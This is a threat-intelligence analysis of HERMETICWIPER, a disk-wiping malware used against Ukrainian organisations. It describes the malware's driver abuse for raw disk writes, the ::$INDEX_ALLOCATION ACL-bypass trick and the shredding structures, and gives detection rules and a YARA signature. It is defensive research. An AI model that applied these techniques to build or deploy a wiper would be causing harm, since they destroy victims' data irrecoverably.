Unfortunately, this is not the first time this year that Ukranian systems have been the target of Data-wiping payloads - Microsoft published findings pertaining to similar, observed attacks that impacted systems within Ukraine, however initially impacting a far smaller number of systems. The publication outlined that the targeting of this specific earlier campaign was focused on multiple government agencies, non-profits, and information technology organizations throughout the country.

Malware Stage Analysis

HERMETICWIPER is digitally signed by Hermetica Digital Ltd., an organization registered in Cyprus, and embeds 4 legitimate driver files from EaseUS Partition Manager that are compressed using MS-DOS utility (mscompress). Hermetica Digital Ltd. has revoked the code-signing certificate.

Upon execution, HERMETICWIPER creates a kernel mode service and interacts with it via DeviceIoControl API function. The main objective is to corrupt any attached physical drive and render the system data unrecoverable.

Below is a summary of the events generated during the installation phase using, Windows events logs and Elastic Agent.

Following the installation process, HERMETICWIPER determines the dimensions of each partition by calculating the bytes in each sector and sectors in each cluster using the GetDiskFreeSpaceW Windows API function.

The malware interacts with the IOCTL interface, passing the parameter IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS with a value of 0x560000 to the device driver in order to retrieve the physical location of the root driver (\.\C). The root drive corresponds to the volume Windows uses to boot, and its identification is essential to achieve a destructive impact.

The NTFS/FAT boot sector and random file physical offsets are enumerated for each accessible physical drive, and then overwritten by the output of the CryptGenRandom API function and a series of FSCTL_GET_RETRIEVAL_POINTERS and FSCTL_MOVE_FILE IOCTLs.

Once the system crashes or restarts, the system is unable to boot and the data is corrupted.

Interesting Functionality

Similar to different ransomware families, HERMETICWIPER avoids specific critical folders and files during the wiping process. This ensures the machine is still operable and will not impact the disk wiping/file corrupting process at a later stage.

Another interesting technique observed when targeted files are queued for wiping is how they are accessed by concatenating the value ::$INDEX_ALLOCATION to a filename. This documented NTFS trick is an additional method to bypass access-control list (ACL) permissions on targeted files to provide more reliability when accessing these files.

HERMETICWIPER also modifies two registry settings during execution (ShowCompColor and ShowInfoTip), setting those key values to 0. Within Windows, when a user chooses to compress NTFS directories/files, there is a setting that allows the user to differentiate them in Windows Explorer showing them as blue representing compressed data or green for encrypted data. This is an attempt by the malware to not set off any suspicious behavior to the user with different coloring on directories/files before the disk corruption occurs on the machine.

Shredding Component Analysis

The malware wipes specific target folders/files writing pre-generated random data at specific disk addresses. It does this by setting up 4 different shredding queues in the binary.

Each queue usage and its functionality is undetermined, but are used at different points in the sample. The shredding queue is composed of a linked list of targets which contain random pre-generated data (generated at queuing) of the size of the target, the disk number and a linked list of “file” parts with disk addresses and sizes.

HERMETICWIPER Structure for ShredTarget function

struct ctf::ShredTarget
{
ctf::ShredTarget *p_next;
ctf::ShredTarget *p_prev;
ctf::FilePart *p_parts;
int disk_number;
uint8_t *p_random_filled_buffer;
int p_random_filled_buffer_size;
};

HERMETICWIPER Structure for FilePart function

struct ctf::FilePart
{
ctf::FilePart *p_next;
ctf::FilePart *p_prev;
uint64_t start_address;
uint64_t size;
};

HERMETICWIPER targeting file, folder, and disk partitions

ctf::QueueFileShred
ctf::QueueFolderShred
ctf::callback::IfPathContainNtUserQueueFileShred
ctf::callback::QueueNtfsBitmapAndLogAttributeShred
ctf::callback::QueueFileShredIfNotSymlink
ctf::callback::QueuePartitionFirstClusterShred
ctf::callback::QueuePartitionShred

The malware emphasizes the following items that are targeted for shredding.

• The dropped driver if something goes wrong or after service start:

• The malware process itself if driver launch goes wrong:

• The disk’s partition first cluster (enumerates up to 100):

• The System Volume information direct used to store Windows restore points:

Interestingly if the computer doesn’t belong to a domain controller it will target more assets:

After queuing the different targets previously described, the sample starts different synchronous/asynchronous shredding threads for each of its queues:

The thread launcher will then start a new thread for each target.

The shredding thread will then iterate through the target’s file parts and use the driver for writing at addresses on specified disk.

Driver Analysis

The driver that is loaded by the user mode component is quite similar to the driver that belongs to Eldos Rawdisk and has been leveraged previously by threat actors like Shamoon and Lazarus. The difference is that HERMETICWIPER abuses a driver (epmntdrv.sys) that belongs to EaseUS Partition Master, a legitimate disk partitioning software.

When the driver is loaded, it creates a device named \Device\EPMNTDRV and creates a symbolic link to be exposed to user mode. Then, it initializes the driver object with the following entry points.

Looking at the dispatch function that handles the IRP_MJ_CREATE requests, we can see that the driver builds the name of the symlink \Device\HarddiskX\Partition0 and saves a pointer to its file object on the driver’s file object fs context. The driver then uses the volume manager device object to obtain a pointer to the highest level device object in the disk device stack.

After that, it iterates over the stack looking for the Disk driver, that is the Microsoft storage class driver that implements functionality common to all storage devices. Once found, it saves a pointer to its device object in the FsContext2 field of the file object structure.

Moving to the function that handles the write requests, we can see that it builds an asynchronous Input Output Request Packet (IRP), which is an API used for drivers to communicate with each other, and forwards it the volume manager device. The buffer used in the IRP is described by the Memory Descriptor List (MDL) driver function. Finally, a completion routine is provided that will free the MDL and release memory used by the IRP.

The read requests are similar to the write requests in concept, in other words, the IoBuildsynchronousFsdRequest() API function uses the IRP_MJ_READ driver function instead of the IRP_MJ_WRITE driver function when sending the IRP to the driver. Finally, the routine that handles I/O control codes finds the highest device object in the stack where the volume manager is located and calls IoBuildDeviceIoControlRequest() to forward the IRP that contains the I/O control code to the appropriate driver.

All in all, the driver functionality is very simple. It acts as a proxy between user space and the low level file system drivers, allowing raw disk sector manipulation and as a result circumventing Windows operating system security features.

Prebuilt Detection Engine Alerts

The following existing public detection rules can also be used to detect some of the employed post exploitation techniques described by Symantec Threat Intelligence Team and ESET [1][2][3] :

• Suspicious Cmd Execution via WMI (Deployment of wiper via Impacket WMI)
• Direct Outbound SMB Connection (SMB spreader)
• Remotely Started Services via RPC (Remcom)
• Lateral Tool Transfer (staging PE via file shares for remote execution)
• Potential Credential Access via Windows Utilities
• Potential Credential Access via LSASS Memory Dump
• Process Execution from an Unusual Directory
• Execution from Unusual Directory - Command Line
• Scheduled Task Execution
• Scheduled Task Creation
• Suspicious MSHTA Execution

YARA Rules

rule Windows_Wiper_HERMETICWIPER {
    meta:
        Author = "Elastic Security"
        creation_date = "2022-02-24"
        last_modified = "2022-02-24"
        os = "Windows"
        arch = "x86"
        category_type = "Wiper"
        family = "HERMETICWIPER"
        threat_name = "Windows.Wiper.HERMETICWIPER"
        description = "Detects HERMETICWIPER used to target Ukrainian organization"
        reference_sample = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"

    strings:
        $a1 = "\\\\?\\C:\\Windows\\System32\\winevt\\Logs" wide fullword
        $a2 = "\\\\.\\EPMNTDRV\\%u" wide fullword
        $a3 = "tdrv.pdb" ascii fullword
        $a4 = "%s%.2s" wide fullword
        $a5 = "ccessdri" ascii fullword
        $a6 = "Hermetica Digital"
    condition:
        all of them
}

Observables

Artifacts

Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.

References

The following research was referenced throughout the document:

• https://twitter.com/ESETresearch/status/1496581903205511181
• https://twitter.com/juanandres_gs/status/1496607141888724997
• https://elastic.co/security-labs/operation-bleeding-bear
• https://therecord.media/microsoft-data-wiping-malware-disguised-as-ransomware-targets-ukraine-again/
• https://opencorporates.com/companies/cy/HE419469
• https://www.easeus.com/partition-manager
• https://docs.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-
• https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdiskfreespacew
• https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens
• https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-findresourcew
• https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadresource